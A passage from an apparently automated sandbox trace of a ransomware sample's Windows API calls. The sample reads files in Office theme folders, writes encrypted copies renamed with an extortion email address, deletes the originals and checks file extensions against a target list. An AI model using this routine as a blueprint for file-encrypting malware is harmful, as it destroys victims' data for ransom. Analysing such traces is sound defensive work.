dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.551] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.553] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.560] GetLastError () returned 0x0 [0047.560] ReadFile (in: hFile=0x1a8, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0047.580] WriteFile (in: hFile=0x1c8, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0047.581] ReadFile (in: hFile=0x1a8, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.581] WriteFile (in: hFile=0x1c8, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.581] SetEndOfFile (hFile=0x1c8) returned 1 [0047.582] CloseHandle (hObject=0x1c8) returned 1 [0047.582] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.582] SetEndOfFile (hFile=0x1a8) returned 1 [0047.582] CloseHandle (hObject=0x1a8) returned 1 [0047.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0047.583] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0047.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.583] lstrlenW (lpString=".doc") returned 4 [0047.583] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.583] lstrlenW (lpString=".docx") returned 5 [0047.583] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.583] lstrlenW (lpString=".pdf") returned 4 [0047.583] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.583] lstrlenW (lpString=".xls") returned 4 [0047.583] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.583] lstrlenW (lpString=".xlsx") returned 5 [0047.583] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.583] lstrlenW (lpString=".ppt") returned 4 [0047.583] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.583] lstrlenW (lpString=".zip") returned 4 [0047.583] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.583] lstrlenW (lpString=".rar") returned 4 [0047.583] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.583] lstrlenW (lpString=".bz2") returned 4 [0047.583] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.583] lstrlenW (lpString=".7z") returned 3 [0047.584] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString=".dbf") returned 4 [0047.584] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString=".1cd") returned 4 [0047.584] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString=".jpg") returned 4 [0047.584] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString=".doc") returned 4 [0047.584] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.584] lstrlenW (lpString=".docx") returned 5 [0047.584] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.584] lstrlenW (lpString=".pdf") returned 4 [0047.584] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.584] lstrlenW (lpString=".xls") returned 4 [0047.584] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.584] lstrlenW (lpString=".xlsx") returned 5 [0047.584] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.584] lstrlenW (lpString=".ppt") returned 4 [0047.584] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString=".zip") returned 4 [0047.584] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.584] lstrlenW (lpString=".rar") returned 4 [0047.584] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.584] lstrlenW (lpString=".bz2") returned 4 [0047.584] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.584] lstrlenW (lpString=".7z") returned 3 [0047.584] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.584] lstrlenW (lpString=".dbf") returned 4 [0047.584] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.585] lstrlenW (lpString=".1cd") returned 4 [0047.585] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.585] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0047.585] lstrlenW (lpString=".jpg") returned 4 [0047.585] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.585] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0047.585] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.019] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=37112) returned 1 [0048.019] CloseHandle (hObject=0x208) returned 1 [0048.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0048.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.020] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.020] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0048.020] GetLastError () returned 0x0 [0048.020] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0048.206] WriteFile (in: hFile=0x19c, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0048.207] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.207] WriteFile (in: hFile=0x19c, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.207] SetEndOfFile (hFile=0x19c) returned 1 [0048.207] CloseHandle (hObject=0x19c) returned 1 [0048.208] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.208] SetEndOfFile (hFile=0x208) returned 1 [0048.209] CloseHandle (hObject=0x208) returned 1 [0048.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0048.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.209] lstrlenW (lpString=".doc") returned 4 [0048.209] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.209] lstrlenW (lpString=".docx") returned 5 [0048.209] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.209] lstrlenW (lpString=".pdf") returned 4 [0048.209] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.209] lstrlenW (lpString=".xls") returned 4 [0048.209] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.209] lstrlenW (lpString=".xlsx") returned 5 [0048.209] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.209] lstrlenW (lpString=".ppt") returned 4 [0048.209] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.209] lstrlenW (lpString=".zip") returned 4 [0048.209] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.209] lstrlenW (lpString=".rar") returned 4 [0048.209] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.209] lstrlenW (lpString=".bz2") returned 4 [0048.210] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString=".7z") returned 3 [0048.210] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString=".dbf") returned 4 [0048.210] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString=".1cd") returned 4 [0048.210] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString=".jpg") returned 4 [0048.210] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString=".doc") returned 4 [0048.210] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString=".docx") returned 5 [0048.210] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.210] lstrlenW (lpString=".pdf") returned 4 [0048.210] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString=".xls") returned 4 [0048.210] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.210] lstrlenW (lpString=".xlsx") returned 5 [0048.210] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.210] lstrlenW (lpString=".ppt") returned 4 [0048.210] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString=".zip") returned 4 [0048.210] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.210] lstrlenW (lpString=".rar") returned 4 [0048.210] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.210] lstrlenW (lpString=".bz2") returned 4 [0048.210] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.210] lstrlenW (lpString=".7z") returned 3 [0048.210] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.210] lstrlenW (lpString=".dbf") returned 4 [0048.211] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.211] lstrlenW (lpString=".1cd") returned 4 [0048.211] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0048.211] lstrlenW (lpString=".jpg") returned 4 [0048.211] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.211] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0048.211] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.415] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=15737) returned 1 [0048.415] CloseHandle (hObject=0x208) returned 1 [0048.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0048.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.416] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.416] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0048.721] GetLastError () returned 0x0 [0048.721] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0048.724] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0048.725] ReadFile (in: hFile=0x208, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.725] WriteFile (in: hFile=0x1a0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.725] SetEndOfFile (hFile=0x1a0) returned 1 [0048.726] CloseHandle (hObject=0x1a0) returned 1 [0048.726] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.726] SetEndOfFile (hFile=0x208) returned 1 [0048.727] CloseHandle (hObject=0x208) returned 1 [0048.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0048.727] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0048.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.727] lstrlenW (lpString=".doc") returned 4 [0048.727] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.727] lstrlenW (lpString=".docx") returned 5 [0048.727] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.727] lstrlenW (lpString=".pdf") returned 4 [0048.727] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.727] lstrlenW (lpString=".xls") returned 4 [0048.727] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.727] lstrlenW (lpString=".xlsx") returned 5 [0048.727] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.728] lstrlenW (lpString=".ppt") returned 4 [0048.728] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.728] lstrlenW (lpString=".zip") returned 4 [0048.728] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.728] lstrlenW (lpString=".rar") returned 4 [0048.728] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.728] lstrlenW (lpString=".bz2") returned 4 [0048.728] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.728] lstrlenW (lpString=".7z") returned 3 [0048.728] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.728] lstrlenW (lpString=".dbf") returned 4 [0048.728] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.728] lstrlenW (lpString=".1cd") returned 4 [0048.728] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.728] lstrlenW (lpString=".jpg") returned 4 [0048.728] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.728] lstrlenW (lpString=".doc") returned 4 [0048.728] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.728] lstrlenW (lpString=".docx") returned 5 [0048.728] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.728] lstrlenW (lpString=".pdf") returned 4 [0048.728] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.728] lstrlenW (lpString=".xls") returned 4 [0048.728] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.728] lstrlenW (lpString=".xlsx") returned 5 [0048.728] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.728] lstrlenW (lpString=".ppt") returned 4 [0048.728] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.728] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.729] lstrlenW (lpString=".zip") returned 4 [0048.729] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.729] lstrlenW (lpString=".rar") returned 4 [0048.729] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.729] lstrlenW (lpString=".bz2") returned 4 [0048.729] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.729] lstrlenW (lpString=".7z") returned 3 [0048.729] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.729] lstrlenW (lpString=".dbf") returned 4 [0048.729] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.729] lstrlenW (lpString=".1cd") returned 4 [0048.729] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0048.729] lstrlenW (lpString=".jpg") returned 4 [0048.729] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.729] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0048.729] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0048.730] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3611) returned 1 [0048.730] CloseHandle (hObject=0x208) returned 1 [0048.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20 [0048.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0048.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 